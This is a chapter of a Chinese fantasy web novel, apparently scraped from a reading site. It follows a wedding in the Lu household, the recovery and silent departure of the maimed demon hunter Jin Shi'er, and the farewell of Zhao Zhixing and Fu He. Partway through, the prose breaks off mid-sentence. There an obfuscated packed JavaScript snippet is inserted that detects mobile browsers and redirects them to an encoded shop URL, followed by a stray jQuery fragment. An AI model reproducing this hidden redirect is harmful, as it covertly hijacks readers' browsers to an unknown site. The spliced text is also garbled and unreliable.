30. 断骨肉篇完
作品:《游历人间我缺魂少魄》 舆城经历了大劫,如今阴霾散去,慢慢开始恢复生机。
陆老爷连失两子身体又抱恙,于是由陆二公子正式接管陆家。
一个月后,陆玉祥竟不顾白家在办丧事,强行下了聘,势要与白五姑娘成亲。
白家二老怒不可遏,他们因为蝎精之祸生意上亏空累累,而最有才华的四公子白锦岚也没了性命,正是多事之秋,小女儿却想着与那个扫把星陆玉祥成亲。
白萤萤的继母本想用她做填房来补白家这些年儿子们的外债,眼看自己的小九九成竹篮打水。
于是带着人想将白萤萤锁在屋里,让亲结不成。
陆玉祥与白萤萤早就料到这一点,等白夫人带着下人去五小姐房间时,早就人去楼空了。
陆家的婚礼如期举办,舆城的百姓都很喜欢待人宽厚的陆二公子,大伙带着祝福去陆家贺喜。
礼堂上两人穿着明艳的婚服,互相拜了天地,正式成为夫妻。
小酒开心得像只蝴蝶,提着裙子随着新娘的队伍跑前跑后,一想到以后她也可以穿上喜服和最爱的小木哥成亲,白皙的小脸上一片羞红。
而负责迎宾的陆小木看着自家公子,心里有些怅然,公子本来爱慕的是金姑娘,只是他想不明白,公子最后娶的却是白家小姐。
在陆家久住的赵知行与符鹤默默看着这场婚礼。
想到金十二,又看到拜堂的两人苦命人,再一看院中的两个小家伙。
赵知行感叹道:“真是错一步,便错了一生。”
符鹤抱着臂虽未说话,但仍是淡淡的点了点头。
开席时,陆玉祥与白萤萤向两人敬酒。
“多谢两位的帮助。”
“萤萤希望将来有幸能吃到两位的喜酒。”
赵知行偷偷打量着身旁冷清的少主,嘴角带笑,她拿起倒满的酒杯,祝两人和和美美、恩爱相随。
符鹤修长的手端起酒杯并未出声,只是点了下头一饮而尽。
喜酒是吃到了,喜气也沾到了,赵知行拉着符鹤悄悄离开人群退出喜堂。
他们漫步在光影交错的长廊下,转过二三个拐角,来到一间厢房前。
门口的小厮看到是两人急忙上前打了声招呼,说金姑娘气色好多了,已经可以顺力喝药了。
赵知行点点头,掏出包喜糖给他,让他去前院凑凑闹热,这里有他们照看。
小厮乐呵呵的接下,但没有离开,说公子说过,这里不能离开人,他说后厨的大娘已经给他留了菜,所以让两人只管进去。
也不再为难他,赵知行推开雕花木门与符鹤走了进去。
屋里香炉冒着宁神的香气,屏风后小丫鬟正细心的给病人擦着汗。
“符大夫,赵姑娘。”小丫鬟一扭头便看到两人,福身行礼。
“辛苦你了越儿,去休息一会儿吧,这有和我符大夫呢。”
说着将另一包喜糖放到小丫鬟的手中。
小丫鬟接下轻轻点头,然后退了出去。
床上的金十二瘦得只剩皮包骨,好在符鹤找来保命的草药,再加上赵知行的育沛石。
强行吊着她最后一口气,愣是将她从鬼门关拉了回来。
本青离开时将她一魂强行收走,符鹤只好点燃醒魂灯为她养魂,但也只是续她一时的命,魂魄不全又受了如此重的伤,只怕会像江沐一般折损阳寿。
赵知行端详着昏迷的除妖师,断臂、少眼,金十二醒了恐怕也要闹一阵,她那样的秉性,怎么会轻易接受残缺的自己。
“唉,与其苟延残喘不如送她去见阎王还能少受些苦。”
“不可……”符鹤凤眸一亮,轻声阻止。
“说说而已,你就是开不得玩笑。”她抓起银色发丝轻轻在符鹤俊美的脸上一撩。
“她阳寿未尽,阴差不会强行带她走。”
也就是说余生都在在伤痛与心病中度过。
执念成魔一步错步步错,这是她的果,旁人又能如何呢……
赵知行坐在床边无限感慨,突然被金十二枕头边的上的一个小东西吸引。
“这是什么?”
符鹤只见她好奇的在除妖师枕头附近摸索,然后将拿到的东西放在手心仔细瞧。
她惊呼一声,又把手心递到自己面前。
“符鹤你看,是个护身锦囊啊。”
“你要干什么?”
符鹤眼看着她将锦囊打开,赵知行眯着一只眼,用另一只往里瞧。
“有枚铜钱,还有个小葫芦,啊……”轻轻晃了晃护身符,赵知行轻呼一声,“还有一小股朱砂啊。”
符鹤将她手中护身锦囊收走,拉紧抽绳,又放回金十二身边。
“这不是她的东西,想是陆玉祥的……”
赵知行记得她和金十二在湖边谈心时,陆玉祥来找她,当时手里好像拿着什么,现在想来恐怕就是这个了。
“驱邪辟凶,福禄绵长,”符鹤垂着眼,剑眉微蹙,“是对孩子的守护与心愿。”
“金十二啊,金十二……”赵知行心情复杂的长叹一声,看着昏睡的除妖师轻轻摇了摇头。
……
四周阴森恐怖,阴魂们泡在河水中伸着长手在哭嚎,冷风像刀子一般凛冽,整个地方充满死亡的气息。
奈何桥上,她见到了师父。
千言万语竟说不出一句,师父灰色的道袍随风摇摆,没有怒不可遏的叫骂,依然是和蔼的看着她。
金十二推开排队的众鬼,艰难的向师父走去,只是无论如何努力,始终到了不师父身边。
“师父!”
她叫着,师父近在直尺,伸出手便能碰到。
!她震惊,自己的手呢?怎么感觉不到自己的手?
慌乱间阴魂们将她推下桥,跌到桥下,她趴在潮湿的河边,混浊的河水里,竟能映出她的容颜。
苍白的脸,凹陷的脸颊,其中一只眼睛里没了明亮的眼珠,只剩漆黑的一个窟窿。
“啊……啊啊……师父!”
金十二憋着一口气在喉咙,失声呜咽着从沉睡中惊醒坐了起来。
小丫鬟听到声音急忙披上衣服,光着脚跑了过来,见她自己坐了起来吓了一跳,连忙叫着门外的小厮,说快去告诉家主,金小姐醒了。
小厮犯了困正打着瞌睡,听到里面的呼叫声,一个鲤鱼打挺跳了起来,待明白小丫鬟喊得什么,急忙向前院跑去。
刚来到前院,只见夫人的小丫鬟明秀叫住了他,问他大半夜的跑什么。
小厮赶忙将后院的事说给她,明秀点点头让他快去,还把手中的灯笼递给他,让他小心。
接过灯笼,不敢怠慢,小厮“咻”地往主人院里跑去。
“外面吵什么?”白萤萤揉着眼睛,困泱泱的问道。
“夫人,是后院的金姑娘醒了,下人们去告诉家主了。”
“明秀,你去厨房看看,让王大娘做点粥送过去。”白萤萤轻声叮嘱着。
“知道了夫人,我这就去。”
明秀退了出去,打着灯笼迈着小碎步往厨房走,心里嘀咕夫人和家主真是奇怪,成亲了却分开睡,而且夫人一点也不生气后院住了个女人,她想不通。
陆玉祥披着衣服手里拿着蜡烛在屋中踱步,每次到门边又退了回去,蜡烛一点点的滴在他手背上,他却没有丝毫感觉。
门外有人敲门,陆玉祥急忙将蜡烛放到桌上跑过去开门,门口站着的却是白萤萤。
“人已经醒了,你想去就快去,犹豫什么呢?”白萤萤拢紧衣服进了屋。
“……去了,不知道说什么……”陆玉祥望着后院的方向喃喃自语。
“玉祥哥,只怕你不去,过后便再也见不到了。”
白萤萤虽不了解金十二这个女人,但也多少能明白,她醒了,一定不会久留。
“玉祥哥……你后悔么?”白五姑娘背对着他小声问道。
扣着门框的手不由得收紧,却未出声。
那晚,陆玉祥到底是没有去后院……
只是烛火亮了一宿……
出乎意料,所有人都以为金十二醒了会大吵大闹,但她从苏醒到现在已经过了小半个月,每日除了吃饭吃药,让小丫鬟们换药,她始终未出一声。
也没有向人打听陆玉祥怎么样了。
赵知行那天刚躲开天灾,突然想去瞧瞧那个除妖师,符鹤瞥了她一眼自行回屋了。
她还未撩开门帘就听到细细的抽泣声,心里一紧,怕是里面的人伤口又坏了?
进了屋越过屏风,刚要寻问,只见床上的金十二手里紧紧的握着陆玉祥送给她的护身锦囊,整张脸皱到一起,泪打湿了被面,哭得好不凄惨。
上一次见她这样,还是她听到师父的遗言……
赵知行心里泛酸,眼眶一红,慢慢退了出去。
那个有些年头的护身锦囊,白萤萤倒是告诉了它的来历。
那是陆玉祥娘亲去舆城最好的寺庙为儿子求来的,只盼他能平安的长大。
“玉祥哥从小带在脖子上,就怕哪天不小心弄丢了,这是姨母唯一留给他的东西……”
回想起白萤萤的话,赵知行坐在长廊上两眼放空。
天地间最有情的是“爱”,最无情的亦是“爱”……
……
金十二是什么时候离开的没有人知道,她没有带陆家准备的银两,只是带走一身换洗的衣服以及
——锦囊
她来的时候极其吵闹,走时却安静非常。
没有人见到她去了哪里,有的人甚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068697|195186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至问道“谁是金十二?”
陆玉祥叫回了派去寻找的下人,那几日他没有出过屋子,送去的饭一口未动。
“夫人,要不你去劝劝公子,我怕他……”陆小木担心的扒着门缝往里瞧,急得后背都是汗。
“不用了,让他自己独处吧,过几天他自会出来的……”
白萤萤将新做好的饭菜放在门口,深深得看了几眼屋门然后离开了。
陆小木不聪明,小酒知道他家公子不开心他便不开心,可是谁也没有办法……
又过了几日,怕陆玉祥饿死在里面,赵知行竟带着大伙强行让符鹤破开门冲了进去。
“陆公子,我们来是要跟你说一声,我们要走了。”
赵知行径直进了屋,将黄花鸢尾图案的椅子擦了擦坐了下来,也不管后面东倒西歪的门。
符鹤端着从外面泡好的茶壶跟了上来,坐在赵知行身边,慢慢倒了两杯茶,轻轻送到嘴边开始品茗。
陆玉祥面容有些憔悴,倒是没有饿死,屋里到处都是画,而画中的人便是离开的金十二。
画中水墨女子或是骑马或是施展法术降妖,一身骑装英姿飒爽,手里的降妖剑舞得虎虎生威。
“画功不错,我看你哪天不做陆家的家主,”赵知行拿起一张画上下打量着,笑着冲陆玉祥说道:“去外面支个摊卖字画也是个门路。”
符鹤轻抚着其中一副,画得真是极好,若不将人记到心里,怎会画的栩栩如生。
金十二的容貌,他记了千遍万遍。
“见笑了,”陆玉祥将最后一处完成,轻轻放下笔,“以前确是靠这个赚点银钱,好些日子没画了,怕是生疏了。”
白萤萤站在门外听着屋里的话,她与陆玉祥一同长大,她懂玉祥哥的意思,不画下来,怕日子久了,便忘了那人。
玉祥哥不想忘记金十二……
用帕子轻轻擦掉泪,白萤萤在门口喊他,说赵姑娘与符大夫离开的日子定下来了,送别宴也准备好了。
陆玉祥胡乱地在湿帕子上蹭蹭,急忙走到窗边,他隔着雕花窗子向白萤萤道谢,谢她的周全与细心。
“陆玉祥,你还是去洗洗身上吧,”赵知行好笑的看着一内一外的两人,故意捏着鼻子说他,“你没闻到你身上一股味么?”
陆玉祥愣了一下,微微一笑向赵知行鞠躬行礼。
到了分别的时候,陆玉祥与白萤萤坐在马车里将赵知行与符鹤送到官道口。
“赵姐姐,你和符大夫下次要是回舆城,记得找我来啊。”
下了车,白萤萤拉着赵知行与她说话。
她从小便没什么朋友,好不容易认识了小酒与赵知行,既像有了个姐姐,又像有了个妹妹,现在分开心里十分不舍。
“有缘我们自会再见的,令外,”赵知行凑到白萤萤耳边悄悄告诫,“莫走金十二的路,记住谁才是你的仇人,明白么?”
“……”白萤萤愣了一下,心说她怎么知道自己的计划,略一思索便重重点了点头,“我记下了。”
符鹤本不是爱说话的人,安静的站在一边等着赵知行。
“留着贾廷槐,是为了打听你母亲的下落。”
见陆玉祥向他走来,符鹤淡淡的扫了一眼,言语一片清冷。
“你怎么会知道……”陆玉祥惊讶的看着他,这件事应该不会有外人知道才对。
贾廷槐中了蝎毒,如今又神志不清,恐怕陆玉祥再怎么问,也得不到有用的消息。
“你母名为丹瑶,”符鹤宠溺的看着三个叽叽喳喳的姑娘,转瞬又神情严肃的向身边的陆玉祥说道,“现年四十三岁,你若想找,去这个地方看看。”
说着,晃了晃夹在指间的纸。
陆玉祥颤着手,珍视的接过符鹤手中的纸。
上面写着具体的方位与住处,甚至还有微小的方向图。
“多谢你!”陆玉祥握着手中的地址泣不成声,白萤萤以为陆玉祥不舒服吓得急忙跑了过去。
赵知行看着一群人围着陆玉祥问东问西,慢慢走到符鹤身边。
“说完了?”轻风吹过,他衣袂飘飘,在日光的照耀下更加眉目如画。
“是啊,我们走吧。”
说完,最后看了一眼几人,由符鹤拉着手,化光离开……
远处的山坡上,断臂的杏衣女子背着剑怔怔地看着山下乱糟糟的几人。
她张嘴说着什么,但不知是不是伤了咽喉,只能发出嘶哑的断句。
空空的眼眶里溢出泪,断臂女子单手摸了摸脖子上的破旧护身符,转身离开。
一朵黄花鸢尾随着风落到陆玉祥脚下,他愣了一下,弯腰将花捡了起来。
像是感受到什么,急忙抬头向远处的山坡看去,只是那里空空如也……

